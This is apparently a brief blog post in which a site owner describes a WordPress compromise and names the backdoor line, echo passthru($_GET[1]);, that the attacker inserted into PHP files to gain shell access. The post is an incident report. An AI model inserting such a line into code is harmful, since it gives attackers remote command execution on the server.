I was hacked...
Maybe you notice the downtime of this site last days. Unfortunately it was hacked by someone for unknown purpose. The attacker used some exploit in Wordpress or some plug in or maybe the problem in k2 wordpress theme. Some malfunction of these open source components was used out, so that attacker have added lines like echo passthru($_GET[1]); to some of php files. That gives them access to shell of my user account on this server....